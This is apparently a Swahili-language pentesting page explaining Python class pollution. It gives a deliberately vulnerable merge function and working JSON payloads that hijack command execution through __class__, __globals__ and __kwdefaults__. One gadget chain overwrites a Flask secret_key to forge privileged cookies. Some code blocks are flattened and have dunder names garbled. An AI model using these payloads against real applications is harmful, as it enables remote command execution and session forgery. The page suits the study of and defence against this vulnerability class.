Class Pollution (Python's Prototype Pollution)
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Angalia jinsi inavyowezekana kuchafua madarasa ya vitu kwa kutumia nyuzi:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0># Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Kuchafua madarasa mengine na vars za kimataifa kupitia <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Kupitia <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** ni sifa maalum ya kazi zote, kulingana na [nyaraka za Python](https://docs.python.org/3/library/inspect.html), ni “ramani ya thamani zozote za msingi kwa **parameta za neno muhimu pekee**”. Kuingiza uchafu katika sifa hii inatupa uwezo wa kudhibiti thamani za msingi za parameta za neno muhimu pekee za kazi, hizi ni parameta za kazi zinazokuja baada ya \* au \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> PollutedHivyo, ikiwa unaweza kufanya uchafuzi wa darasa juu ya kitu kilichofafanuliwa katika faili kuu ya python ya wavuti lakini ambayo darasa lake limefafanuliwa katika faili tofauti na ile kuu. Kwa sababu ili kufikia __globals__ katika payloads zilizopita unahitaji kufikia darasa la kitu au mbinu za darasa, utaweza kufikia globals katika faili hiyo, lakini si katika ile kuu. Kwa hivyo, hutaweza kufikia kitu cha kimataifa cha programu ya Flask ambacho kilifafanua funguo ya siri katika ukurasa kuu:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'Katika hali hii unahitaji kifaa ili kupita faili kupata faili kuu ili kupata kituo cha kimataifa app.secret_key kubadilisha funguo ya siri ya Flask na uweze kuinua mamlaka ukijua funguo hii.
Malipo kama haya kutoka kwa andiko hili:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_keyTumia payload hii kubadilisha app.secret_key (jina katika programu yako linaweza kuwa tofauti) ili uweze kusaini vidakuzi vya flask vipya na vya kibali zaidi.
Angalia pia ukurasa ufuatao kwa vifaa vya kusoma pekee:
Python Internal Read GadgetsAngalia mpango wa usajili!
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